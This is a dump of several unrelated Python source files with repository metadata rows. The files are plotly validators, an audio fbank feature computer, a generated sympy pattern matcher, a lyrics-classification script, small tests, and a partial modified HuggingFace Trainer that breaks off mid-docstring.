scale where each category is assigned a serial
number from zero in the order it appears.
tickangle
Sets the angle of the tick labels with respect
to the horizontal. For example, a `tickangle`
of -90 draws the tick labels vertically.
tickcolor
Sets the tick color.
tickfont
Sets the color bar's tick label font
tickformat
Sets the tick label formatting rule using d3
formatting mini-languages which are very
similar to those in Python. For numbers, see:
https://github.com/d3/d3-3.x-api-
reference/blob/master/Formatting.md#d3_format
And for dates see:
https://github.com/d3/d3-3.x-api-
reference/blob/master/Time-Formatting.md#format
We add one item to d3's date formatter: "%{n}f"
for fractional seconds with n digits. For
example, *2016-10-13 09:15:23.456* with
tickformat "%H~%M~%S.%2f" would display
"09~15~23.46"
tickformatstops
A tuple of plotly_study.graph_objects.scattergl.marke
r.colorbar.Tickformatstop instances or dicts
with compatible properties
tickformatstopdefaults
When used in a template (as layout.template.dat
a.scattergl.marker.colorbar.tickformatstopdefau
lts), sets the default property values to use
for elements of
scattergl.marker.colorbar.tickformatstops
ticklen
Sets the tick length (in px).
tickmode
Sets the tick mode for this axis. If "auto",
the number of ticks is set via `nticks`. If
"linear", the placement of the ticks is
determined by a starting position `tick0` and a
tick step `dtick` ("linear" is the default
value if `tick0` and `dtick` are provided). If
"array", the placement of the ticks is set via
`tickvals` and the tick text is `ticktext`.
("array" is the default value if `tickvals` is
provided).
tickprefix
Sets a tick label prefix.
ticks
Determines whether ticks are drawn or not. If
"", this axis' ticks are not drawn. If
"outside" ("inside"), this axis' are drawn
outside (inside) the axis lines.
ticksuffix
Sets a tick label suffix.
ticktext
Sets the text displayed at the ticks position
via `tickvals`. Only has an effect if
`tickmode` is set to "array". Used with
`tickvals`.
ticktextsrc
Sets the source reference on plot.ly for
ticktext .
tickvals
Sets the values at which ticks on this axis
appear. Only has an effect if `tickmode` is set
to "array". Used with `ticktext`.
tickvalssrc
Sets the source reference on plot.ly for
tickvals .
tickwidth
Sets the tick width (in px).
title
plotly_study.graph_objects.scattergl.marker.colorbar.
Title instance or dict with compatible
properties
titlefont
Deprecated: Please use
scattergl.marker.colorbar.title.font instead.
Sets this color bar's title font. Note that the
title's font used to be set by the now
deprecated `titlefont` attribute.
titleside
Deprecated: Please use
scattergl.marker.colorbar.title.side instead.
Determines the location of color bar's title
with respect to the color bar. Note that the
title's location used to be set by the now
deprecated `titleside` attribute.
x
Sets the x position of the color bar (in plot
fraction).
xanchor
Sets this color bar's horizontal position
anchor. This anchor binds the `x` position to
the "left", "center" or "right" of the color
bar.
xpad
Sets the amount of padding (in px) along the x
direction.
y
Sets the y position of the color bar (in plot
fraction).
yanchor
Sets this color bar's vertical position anchor
This anchor binds the `y` position to the
"top", "middle" or "bottom" of the color bar.
ypad
Sets the amount of padding (in px) along the y
direction.
""",
),
**kwargs
)
import _plotly_utils.basevalidators
class ColoraxisValidator(_plotly_utils.basevalidators.SubplotidValidator):
def __init__(
self, plotly_name="coloraxis", parent_name="scattergl.marker", **kwargs
):
super(ColoraxisValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
dflt=kwargs.pop("dflt", None),
edit_type=kwargs.pop("edit_type", "calc"),
regex=kwargs.pop("regex", "/^coloraxis([2-9]|[1-9][0-9]+)?$/"),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class ColorValidator(_plotly_utils.basevalidators.ColorValidator):
def __init__(self, plotly_name="color", parent_name="scattergl.marker", **kwargs):
super(ColorValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
array_ok=kwargs.pop("array_ok", True),
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "style"),
colorscale_path=kwargs.pop(
"colorscale_path", "scattergl.marker.colorscale"
),
**kwargs
)
import _plotly_utils.basevalidators
class CminValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="cmin", parent_name="scattergl.marker", **kwargs):
super(CminValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
implied_edits=kwargs.pop("implied_edits", {"cauto": False}),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class CmidValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="cmid", parent_name="scattergl.marker", **kwargs):
super(CmidValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
implied_edits=kwargs.pop("implied_edits", {}),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class CmaxValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="cmax", parent_name="scattergl.marker", **kwargs):
super(CmaxValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
implied_edits=kwargs.pop("implied_edits", {"cauto": False}),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class CautoValidator(_plotly_utils.basevalidators.BooleanValidator):
def __init__(self, plotly_name="cauto", parent_name="scattergl.marker", **kwargs):
super(CautoValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
implied_edits=kwargs.pop("implied_edits", {}),
role=kwargs.pop("role", "info"),
**kwargs
)
import _plotly_utils.basevalidators
class AutocolorscaleValidator(_plotly_utils.basevalidators.BooleanValidator):
def __init__(
self, plotly_name="autocolorscale", parent_name="scattergl.marker", **kwargs
):
super(AutocolorscaleValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
implied_edits=kwargs.pop("implied_edits", {}),
role=kwargs.pop("role", "style"),
**kwargs
)
| [
"[email protected]"
] | |
841cd9e9d8193c58fdc4c4845d4a09b81a7bd904 | 2b8e7eadb920e96c75697880a9c5461aa8e0c5ed | /nabu/processing/processors/feature_computers/fbank.py | 77c4ebb1d59833e9ebe2c1032e1545f7cb99d2f4 | [
"MIT"
] | permissive | ishandutta2007/nabu | fb963ed3cd34ee340014e0c1e77927c838bba0ad | 313018a46f68cec1d4a7eb15b8b1cf68111a959c | refs/heads/master | 2020-04-03T04:57:57.911576 | 2018-12-14T11:02:52 | 2018-12-14T11:02:52 | 155,029,958 | 0 | 0 | MIT | 2018-12-06T18:20:12 | 2018-10-28T02:59:31 | Python | UTF-8 | Python | false | false | 1,446 | py | '''@file fbank.py
contains the fbank feature computer'''
import numpy as np
import base
import feature_computer
from sigproc import snip
class Fbank(feature_computer.FeatureComputer):
'''the feature computer class to compute fbank features'''
def comp_feat(self, sig, rate):
'''
compute the features
Args:
sig: the audio signal as a 1-D numpy array
rate: the sampling rate
Returns:
the features as a [seq_length x feature_dim] numpy array
'''
#snip the edges
sig = snip(sig, rate, float(self.conf['winlen']),
float(self.conf['winstep']))
feat, energy = base.logfbank(sig, rate, self.conf)
if self.conf['include_energy'] == 'True':
feat = np.append(feat, energy[:, np.newaxis], 1)
if self.conf['dynamic'] == 'delta':
feat = base.delta(feat)
elif self.conf['dynamic'] == 'ddelta':
feat = base.ddelta(feat)
elif self.conf['dynamic'] != 'nodelta':
raise Exception('unknown dynamic type')
return feat
def get_dim(self):
'''the feature dimemsion'''
dim = int(self.conf['nfilt'])
if self.conf['include_energy'] == 'True':
dim += 1
if self.conf['dynamic'] == 'delta':
dim *= 2
elif self.conf['dynamic'] == 'ddelta':
dim *= 3
return dim
| [
"[email protected]"
] | |
90146830bfe90f1fccd9b4b89f96401860d91053 | f445450ac693b466ca20b42f1ac82071d32dd991 | /generated_tempdir_2019_09_15_163300/generated_part009372.py | 79176e5034b71cfcfb2a2bf71973eb4b7665d2c3 | [] | no_license | Upabjojr/rubi_generated | 76e43cbafe70b4e1516fb761cabd9e5257691374 | cd35e9e51722b04fb159ada3d5811d62a423e429 | refs/heads/master | 2020-07-25T17:26:19.227918 | 2019-09-15T15:41:48 | 2019-09-15T15:41:48 | 208,357,412 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,292 | py | from sympy.abc import *
from matchpy.matching.many_to_one import CommutativeMatcher
from matchpy import *
from matchpy.utils import VariableWithCount
from collections import deque
from multiset import Multiset
from sympy.integrals.rubi.constraints import *
from sympy.integrals.rubi.utility_function import *
from sympy.integrals.rubi.rules.miscellaneous_integration import *
from sympy import *
class CommutativeMatcher77334(CommutativeMatcher):
_instance = None
patterns = {
0: (0, Multiset({}), [
(VariableWithCount('i3.3.1.0', 1, 1, None), Mul),
(VariableWithCount('i3.3.1.0_1', 1, 1, S(1)), Mul)
])
}
subjects = {}
subjects_by_id = {}
bipartite = BipartiteGraph()
associative = Mul
max_optional_count = 1
anonymous_patterns = set()
def __init__(self):
self.add_subject(None)
@staticmethod
def get():
if CommutativeMatcher77334._instance is None:
CommutativeMatcher77334._instance = CommutativeMatcher77334()
return CommutativeMatcher77334._instance
@staticmethod
def get_match_iter(subject):
subjects = deque([subject]) if subject is not None else deque()
subst0 = Substitution()
# State 77333
return
yield
from collections import deque | [
"[email protected]"
] | |
de6131cb7460f4df0537d86258086f70cd965e4f | 73fbdbe4943cd4a8de371ba1af4b5cdfea3138d8 | /project4_lyrics/lyrics_project/main.py | 5b2eae2671200684d80d3cc5530e8486ab9cf16a | [] | no_license | GParolini/spiced_academy_projects | 74524d99842e7659a38371b6e697f9fd90a9e0fa | 64b9458c9294a767636211d59ae00e329fb527f5 | refs/heads/master | 2023-05-31T05:30:07.692702 | 2021-06-21T08:54:46 | 2021-06-21T08:54:46 | 363,920,518 | 0 | 0 | null | 2021-05-03T13:33:28 | 2021-05-03T12:22:05 | null | UTF-8 | Python | false | false | 4,865 | py | #!/usr/bin/env python
# coding: utf-8
# # Project 4: Web scraping and text classification
from colorama import init
from colorama import deinit
from colorama import Fore, Back, Style
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from utilities import *
#Color print in terminal
init()
# Scraping data for artist1
print(Style.BRIGHT + Fore.RED + "Welcome to your lyrics finder")
print(Fore.RED + "I can help you find the lyrics of your favourite artist on lyrics.com")
print(Fore.GREEN + "Please provide below the name of the artist")
name1=input()
print(Fore.GREEN + "Please provide below the link to the artist webpage on lyrics.com")
url1=input()
urls_lyrics_list1=get_lyric_urls(url1, name1)
lyrics_files1 = get_lyrics(urls_lyrics_list1, name1)
# Reading the scraped data for artist1
metadata_df1 = read_metadata(name1)
lyrics_df1 = read_lyrics(name1)
df_artist1 = metadata_df1.merge(lyrics_df1)
# Scraping data for artist2
print(Fore.RED + "You can select a second artist and then you can quiz me about the two artists")
print(Fore.GREEN + "Please provide below the name of the artist")
name2 =input()
print(Fore.GREEN + "Please provide below the link to the artist webpage on lyrics.com")
url2=input()
urls_lyrics_list2=get_lyric_urls(url2, name2)
lyrics_files2 = get_lyrics(urls_lyrics_list2, name2)
# Reading the scraped data for artist2
metadata_df2 = read_metadata(name2)
lyrics_df2 = read_lyrics(name2)
df_artist2 = metadata_df2.merge(lyrics_df2)
# Joining the two artists' dataframes
df = pd.concat([df_artist1, df_artist2])
#train-test split
X_train, X_test, y_train, y_test = train_test_split(df.drop(["author"], axis=1), df["author"],
test_size=0.2, random_state=42)
#cleaning the lyrics tests and transforming them in a list of strings
list_cleaned_lyrics_train = clean_text_to_list(X_train)
labels_train = y_train.tolist()
#Bag of words
vect = TfidfVectorizer()
X = vect.fit_transform(list_cleaned_lyrics_train)
#Transforming the test set
list_cleaned_lyrics_test = clean_text_to_list(X_test)
X_test_transformed = vect.transform(list_cleaned_lyrics_test)
#Fitting a logistic regression model
model_lr = LogisticRegression(class_weight='balanced').fit(X, y_train)
score_lr = model_lr.score(X, y_train)
#Checking how the logistic regression model performs on the test set
ypred = model_lr.predict(X_test_transformed)
score_lr = model_lr.score(X_test_transformed,y_test)
probs_lr = model_lr.predict_proba(X_test_transformed)
print(Fore.RED + "I am a data savvy software.")
print(Fore.RED + "I can tell you that a logistic regression model applied to classify")
print(Fore.RED + "the data of your two artists has a score of ", Back.GREEN + str(score_lr))
print(Back.RESET + Fore.RED + "and the probabilities for each entry in the test set are as follow ", Fore.RESET + str(probs_lr))
#Fitting a Naive Bayes model
model_nb = MultinomialNB(alpha=1).fit(X, y_train)
model_nb.score(X, y_train)
#Checking how the Naive Bayes Model performs on the test set
ypred_nb = model_nb.predict(X_test_transformed)
score_nb = model_nb.score(X_test_transformed,y_test)
probs_nb = model_nb.predict_proba(X_test_transformed)
print(Back.RESET + Fore.RED + "Do no take me for a pedantic software, but I can also tell you that")
print(Fore.RED + "a Naive Bayes model applied to classify the data of your two artists has a score of ", Back.GREEN + str(score_nb))
print(Back.RESET + Fore.RED + "and the probabilities for each entry in the test set are as follow ", Back.RESET + Fore.RESET + str(probs_nb))
#Testing user input
print(Back.RESET + Fore.RED + "Now, please select a model between Logistic Regression and Naive Bayes.")
print(Fore.RED + "Then you can quiz me with a few of your favourite lyrics.")
print(Fore.RED + "I will tell you who is the author of the lyrics.")
print(Fore.GREEN + "Please input your model choice (LR for Logistic Regression and NB for Naive Bayes)")
model_to_use = input()
print(Fore.GREEN + "Please input some lyrics for me to examine: ")
user_lyrics = input()
user_lyrics_transformed = vect.transform([user_lyrics])
if model_to_use=="LR":
lr_pred = model_lr.predict(user_lyrics_transformed)
lr_prob = model_lr.predict_proba(user_lyrics_transformed)
print(Fore.YELLOW + Back.BLACK + str(lr_pred), str(lr_prob))
if model_to_use=="NB":
nb_pred = model_nb.predict(user_lyrics_transformed)
nb_prob = model_nb.predict_proba(user_lyrics_transformed)
print(Fore.YELLOW + Back.BLACK + str(nb_pred), str(nb_prob))
if (model_to_use !="LR") and (model_to_use !="NB"):
out = "You did not select a valid model"
print(Fore.YELLOW + Back.BLACK + out)
deinit()
| [
"[email protected]"
] | |
609760859820be1e68a6de0cb45de2de2a4b6eb9 | b77e464c1051dbec0dea6deaf63ccc393c17c84c | /tests/test_base.py | b49f58ee4e9aca182c4a93894ccbbe58618c0117 | [
"Unlicense"
] | permissive | victtorvpb/flask-cash-back-plataform | 63dad5677811df8d24999a6c4ad5e46d91d87dcd | 301bcad96662e7ba8f74b8e6896248f2ac2854d3 | refs/heads/main | 2023-07-12T02:46:23.526791 | 2021-08-16T23:01:11 | 2021-08-16T23:01:32 | 397,004,794 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | import pytest
from flask_cash_back_plataform import BaseClass, base_function
given = pytest.mark.parametrize
@given("fn", [BaseClass(), base_function])
def test_parameterized(fn):
assert "hello from" in fn()
def test_base_function():
assert base_function() == "hello from base function"
def test_base_class():
assert BaseClass().base_method() == "hello from BaseClass"
| [
"[email protected]"
] | |
4fc79439d5cdb7cacba4370b7e8d37f14b961c4a | ac32bac45df77083f4ef3115e747038a6753936c | /adapter-transformers-customs/adapter-transformers-attn/src/transformers/trainer-with-sub-model-list.py | 4c0c31f94fbf40ec2a6cf77be31c8626e614571d | [
"Apache-2.0"
] | permissive | Yujin-Yujin/rexpert | 13e1d5c4ca55664dd9fbb9a765ea5157a2e0893f | ed8628dc053194fee40e593b1cc5ec45a26c8073 | refs/heads/main | 2023-06-22T05:58:42.269923 | 2021-07-23T06:35:43 | 2021-07-23T06:35:43 | 373,423,887 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 82,655 | py | # coding=utf-8
# Copyright 2020-present the HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
The Trainer class, to easily train a 🤗 Transformers from scratch or finetune it on a new task.
"""
import collections
import inspect
import math
import os
import re
import shutil
import warnings
from pathlib import Path
from typing import Any, Callable, Dict, List, Optional, Tuple, Union
# Integrations must be imported before ML frameworks:
from .integrations import ( # isort: split
default_hp_search_backend,
hp_params,
is_azureml_available,
is_comet_available,
is_mlflow_available,
is_optuna_available,
is_ray_available,
is_tensorboard_available,
is_wandb_available,
run_hp_search_optuna,
run_hp_search_ray,
)
import numpy as np
import torch
from packaging import version
from torch import nn
from torch.utils.data.dataloader import DataLoader
from torch.utils.data.dataset import Dataset
from torch.utils.data.distributed import DistributedSampler
from torch.utils.data.sampler import RandomSampler, SequentialSampler
from .data.data_collator import DataCollator, DataCollatorWithPadding, default_data_collator
from .file_utils import WEIGHTS_NAME, is_datasets_available, is_in_notebook, is_torch_tpu_available
from .modeling_auto import MODEL_FOR_QUESTION_ANSWERING_MAPPING
from .modeling_utils import PreTrainedModel
from .optimization import AdamW, get_linear_schedule_with_warmup
from .tokenization_utils_base import PreTrainedTokenizerBase
from .trainer_callback import (
CallbackHandler,
DefaultFlowCallback,
PrinterCallback,
ProgressCallback,
TrainerCallback,
TrainerControl,
TrainerState,
)
from .trainer_pt_utils import (
DistributedTensorGatherer,
SequentialDistributedSampler,
distributed_broadcast_scalars,
distributed_concat,
get_tpu_sampler,
nested_concat,
nested_detach,
nested_numpify,
nested_xla_mesh_reduce,
reissue_pt_warnings,
)
from .trainer_utils import (
PREFIX_CHECKPOINT_DIR,
BestRun,
EvalPrediction,
HPSearchBackend,
PredictionOutput,
TrainOutput,
default_compute_objective,
default_hp_space,
set_seed,
)
from .training_args import TrainingArguments
from .utils import logging
_use_native_amp = False
_use_apex = False
DEFAULT_CALLBACKS = [DefaultFlowCallback]
DEFAULT_PROGRESS_CALLBACK = ProgressCallback
if is_in_notebook():
from .utils.notebook import NotebookProgressCallback
DEFAULT_PROGRESS_CALLBACK = NotebookProgressCallback
# Check if Pytorch version >= 1.6 to switch between Native AMP and Apex
if version.parse(torch.__version__) < version.parse("1.6"):
from .file_utils import is_apex_available
if is_apex_available():
from apex import amp
_use_apex = True
else:
_use_native_amp = True
from torch.cuda.amp import autocast
if version.parse(torch.__version__) < version.parse("1.2"):
_use_ddp_no_sync = False
else:
_use_ddp_no_sync = True
if is_datasets_available():
import datasets
if is_torch_tpu_available():
import torch_xla.core.xla_model as xm
import torch_xla.debug.metrics as met
import torch_xla.distributed.parallel_loader as pl
if is_tensorboard_available():
from .integrations import TensorBoardCallback
DEFAULT_CALLBACKS.append(TensorBoardCallback)
if is_wandb_available():
from .integrations import WandbCallback
DEFAULT_CALLBACKS.append(WandbCallback)
if is_comet_available():
from .integrations import CometCallback
DEFAULT_CALLBACKS.append(CometCallback)
if is_mlflow_available():
from .integrations import MLflowCallback
DEFAULT_CALLBACKS.append(MLflowCallback)
if is_optuna_available():
import optuna
if is_ray_available():
from ray import tune
if is_azureml_available():
from .integrations import AzureMLCallback
DEFAULT_CALLBACKS.append(AzureMLCallback)
logger = logging.get_logger(__name__)
class Trainer:
"""
Trainer is a simple but feature-complete training and eval loop for PyTorch, optimized for 🤗 Transformers.
Args:
model (:class:`~transformers.PreTrainedModel` or :obj:`torch.nn.Module`, `optional`):
The model to train, evaluate or use for predictions. If not provided, a ``model_init`` must be passed.
.. note::
:class:`~transformers.Trainer` is optimized to work with the :class:`~transformers.PreTrainedModel`
provided by the library. You can still use your own models defined as :obj:`torch.nn.Module` as long as
they work the same way as the 🤗 Transformers models.
args (:class:`~transformers.TrainingArguments`, `optional`):
The arguments to tweak for training. Will default to a basic instance of
:class:`~transformers.TrainingArguments` with the ``output_dir`` set to a directory named `tmp_trainer` in
the current directory if not provided.
data_collator (:obj:`DataCollator`, `optional`):
The function to use to form a batch from a list of elements of :obj:`train_dataset` or :obj:`eval_dataset`.
Will default to :func:`~transformers.default_data_collator` if no ``tokenizer`` is provided, an instance of
:func:`~transformers.DataCollatorWithPadding` otherwise.
train_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The dataset to use for training. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed.
eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The dataset to use for evaluation. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed.
tokenizer (:class:`PreTrainedTokenizerBase`, `optional`):
The tokenizer used to preprocess the data. If provided, will be used to automatically pad the inputs the
maximum length when batching inputs, and it will be saved along the model to make it easier to rerun an
interrupted training or reuse the fine-tuned model.
model_init (:obj:`Callable[[], PreTrainedModel]`, `optional`):
A function that instantiates the model to be used. If provided, each call to
:meth:`~transformers.Trainer.train` will start from a new instance of the model as given by this function.
The function may have zero argument, or a single one containing the optuna/Ray Tune trial object, to be
able to choose different architectures according to hyper parameters (such as layer count, sizes of inner
layers, dropout probabilities etc).
compute_metrics (:obj:`Callable[[EvalPrediction], Dict]`, `optional`):
The function that will be used to compute metrics at evaluation. Must take a
:class:`~transformers.EvalPrediction` and return a dictionary string to metric values.
callbacks (List of :obj:`~transformers.TrainerCallback`, `optional`):
A list of callbacks to customize the training loop. Will add those to the list of default callbacks
detailed in :doc:`here <callback>`.
If you want to remove one of the default callbacks used, use the :meth:`Trainer.remove_callback` method.
optimizers (:obj:`Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR`, `optional`): A tuple
containing the optimizer and the scheduler to use. Will default to an instance of
:class:`~transformers.AdamW` on your model and a scheduler given by
:func:`~transformers.get_linear_schedule_with_warmup` controlled by :obj:`args`.
kwargs:
Deprecated keyword arguments.
"""
def __init__(
self,
model: Union[PreTrainedModel, torch.nn.Module] = None,
sub_model_list: Optional[List[Union[PreTrainedModel, torch.nn.Module]]] = None,
args: TrainingArguments = None,
data_collator: Optional[DataCollator] = None,
train_dataset: Optional[Dataset] = None,
eval_dataset: Optional[Dataset] = None,
tokenizer: Optional["PreTrainedTokenizerBase"] = None,
model_init: Callable[[], PreTrainedModel] = None,
compute_metrics: Optional[Callable[[EvalPrediction], Dict]] = None,
callbacks: Optional[List[TrainerCallback]] = None,
do_save_full_model: bool = True,
do_save_adapters: bool = False,
do_save_adapter_fusion: bool = False,
adapter_names: Optional[List[List[str]]] = None,
optimizers: Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR] = (None, None),
**kwargs,
):
if args is None:
logger.info("No `TrainingArguments` passed, using the current path as `output_dir`.")
args = TrainingArguments("tmp_trainer")
self.args = args
# Seed must be set before instantiating the model when using model
set_seed(self.args.seed)
assert (
model is not None or model_init is not None
), "You must provide a model to use `Trainer`, either by using the `model` argument or the `model_init` argument."
self.model_init = model_init
self.hp_name = None
if model is None and model_init is not None:
model = self.call_model_init()
self.model = model.to(args.device) if model is not None else None
if sub_model_list is None:
self.sub_model_list = None
else:
if len(sub_model_list) > 0 :
self.sub_model_list = nn.ModuleList(sub_model_list).to(args.device)
else:
self.sub_model_list = None
default_collator = default_data_collator if tokenizer is None else DataCollatorWithPadding(tokenizer)
self.data_collator = data_collator if data_collator is not None else default_collator
self.train_dataset = train_dataset
self.eval_dataset = eval_dataset
self.tokenizer = tokenizer
self.compute_metrics = compute_metrics
self.optimizer, self.lr_scheduler = optimizers
if model_init is not None and (self.optimizer is not None or self.lr_scheduler is not None):
raise RuntimeError(
"Passing a `model_init` is incompatible with providing the `optimizers` argument."
"You should subclass `Trainer` and override the `create_optimizer_and_scheduler` method."
)
callbacks = DEFAULT_CALLBACKS if callbacks is None else DEFAULT_CALLBACKS + callbacks
self.callback_handler = CallbackHandler(callbacks, self.model, self.optimizer, self.lr_scheduler)
self.add_callback(PrinterCallback if self.args.disable_tqdm else DEFAULT_PROGRESS_CALLBACK)
# Deprecated arguments
if "tb_writer" in kwargs:
warnings.warn(
"Passing `tb_writer` as a keyword argument is deprecated and won't be possible in a "
+ "future version. Use `TensorBoardCallback(tb_writer=...)` instead and pass it to the `callbacks`"
+ "argument",
FutureWarning,
)
tb_writer = kwargs.pop("tb_writer")
self.remove_callback(TensorBoardCallback)
self.add_callback(TensorBoardCallback(tb_writer=tb_writer))
if "prediction_loss_only" in kwargs:
warnings.warn(
"Passing `prediction_loss_only` as a keyword argument is deprecated and won't be possible in a "
+ "future version. Use `args.prediction_loss_only` instead. Setting "
+ f"`args.prediction_loss_only={kwargs['prediction_loss_only']}",
FutureWarning,
)
self.args.prediction_loss_only = kwargs.pop("prediction_loss_only")
assert kwargs == {}, f"Unexpected keyword arguments: {list(kwargs.keys())}."
# Will be set to True by `self._setup_loggers()` on first call to `self.log()`.
self._loggers_initialized = False
# Create output directory if needed
if self.is_world_process_zero():
os.makedirs(self.args.output_dir, exist_ok=True)
# adapters used
self.do_save_full_model = do_save_full_model
self.do_save_adapters = do_save_adapters
self.do_save_adapter_fusion = do_save_adapter_fusion
self.adapter_names = adapter_names
if is_torch_tpu_available() and isinstance(self.model, PreTrainedModel):
# Set an xla_device flag on the model's config.
# We'll find a more elegant and not need to do this in the future.
self.model.config.xla_device = True
if not callable(self.data_collator) and callable(getattr(self.data_collator, "collate_batch", None)):
self.data_collator = self.data_collator.collate_batch
warnings.warn(
(
"The `data_collator` should now be a simple callable (function, class with `__call__`), classes "
+ "with a `collate_batch` are deprecated and won't be supported in a future version."
),
FutureWarning,
)
if args.max_steps > 0:
logger.info("max_steps is given, it will override any value given in num_train_epochs")
# Enforce rules on using datasets with no __len__
if train_dataset is not None and not isinstance(train_dataset, collections.abc.Sized) and args.max_steps <= 0:
raise ValueError("train_dataset does not implement __len__, max_steps has to be specified")
if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
if is_datasets_available():
if isinstance(train_dataset, datasets.Dataset):
self._remove_unused_columns(self.train_dataset, description="training")
if isinstance(eval_dataset, datasets.Dataset):
self._remove_unused_columns(self.eval_dataset, description="evaluation")
self.state = TrainerState()
self.control = TrainerControl()
# Internal variable for total_flos used to count as tensors (for distributed + TPU), will be sent in the
# state at each call to self.log.
self._total_flos = None
if self.args.fp16 and _use_native_amp:
self.scaler = torch.cuda.amp.GradScaler()
self.hp_search_backend = None
self.use_tune_checkpoints = False
default_label_names = (
["start_positions", "end_positions"]
if type(self.model) in MODEL_FOR_QUESTION_ANSWERING_MAPPING.values()
else ["labels"]
)
self.label_names = default_label_names if self.args.label_names is None else self.args.label_names
self.control = self.callback_handler.on_init_end(self.args, self.state, self.control)
def add_callback(self, callback):
"""
Add a callback to the current list of :class:`~transformer.TrainerCallback`.
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will instantiate a member of that class.
"""
self.callback_handler.add_callback(callback)
def pop_callback(self, callback):
"""
Remove a callback from the current list of :class:`~transformer.TrainerCallback` and returns it.
If the callback is not found, returns :obj:`None` (and no error is raised).
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will pop the first member of that class found in the list of callbacks.
Returns:
:class:`~transformer.TrainerCallback`: The callback removed, if found.
"""
return self.callback_handler.pop_callback(callback)
def remove_callback(self, callback):
"""
Remove a callback from the current list of :class:`~transformer.TrainerCallback`.
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will remove the first member of that class found in the list of callbacks.
"""
self.callback_handler.remove_callback(callback)
def _remove_unused_columns(self, dataset: "datasets.Dataset", description: Optional[str] = None):
if not self.args.remove_unused_columns:
return
# Inspect model forward signature to keep only the arguments it accepts.
signature = inspect.signature(self.model.forward)
signature_columns = list(signature.parameters.keys())
# Labels may be named label or label_ids, the default data collator handles that.
signature_columns += ["label", "label_ids"]
columns = [k for k in signature_columns if k in dataset.column_names]
ignored_columns = list(set(dataset.column_names) - set(signature_columns))
dset_description = "" if description is None else f"in the {description} set "
logger.info(
f"The following columns {dset_description}don't have a corresponding argument in `{self.model.__class__.__name__}.forward` and have been ignored: {', '.join(ignored_columns)}."
)
dataset.set_format(type=dataset.format["type"], columns=columns)
def _get_train_sampler(self) -> Optional[torch.utils.data.sampler.Sampler]:
if isinstance(self.train_dataset, torch.utils.data.IterableDataset) or not isinstance(
self.train_dataset, collections.abc.Sized
):
return None
elif is_torch_tpu_available():
return get_tpu_sampler(self.train_dataset)
else:
return (
RandomSampler(self.train_dataset)
if self.args.local_rank == -1
else DistributedSampler(self.train_dataset)
)
def get_train_dataloader(self) -> DataLoader:
"""
Returns the training :class:`~torch.utils.data.DataLoader`.
Will use no sampler if :obj:`self.train_dataset` does not implement :obj:`__len__`, a random sampler (adapted
to distributed training if necessary) otherwise.
Subclass and override this method if you want to inject some custom behavior.
"""
if self.train_dataset is None:
raise ValueError("Trainer: training requires a train_dataset.")
train_sampler = self._get_train_sampler()
return DataLoader(
self.train_dataset,
batch_size=self.args.train_batch_size,
sampler=train_sampler,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
num_workers=self.args.dataloader_num_workers,
)
def _get_eval_sampler(self, eval_dataset: Dataset) -> Optional[torch.utils.data.sampler.Sampler]:
if is_torch_tpu_available():
return SequentialDistributedSampler(eval_dataset, num_replicas=xm.xrt_world_size(), rank=xm.get_ordinal())
elif self.args.local_rank != -1:
return SequentialDistributedSampler(eval_dataset)
else:
return SequentialSampler(eval_dataset)
def get_eval_dataloader(self, eval_dataset: Optional[Dataset] = None) -> DataLoader:
"""
Returns the evaluation :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
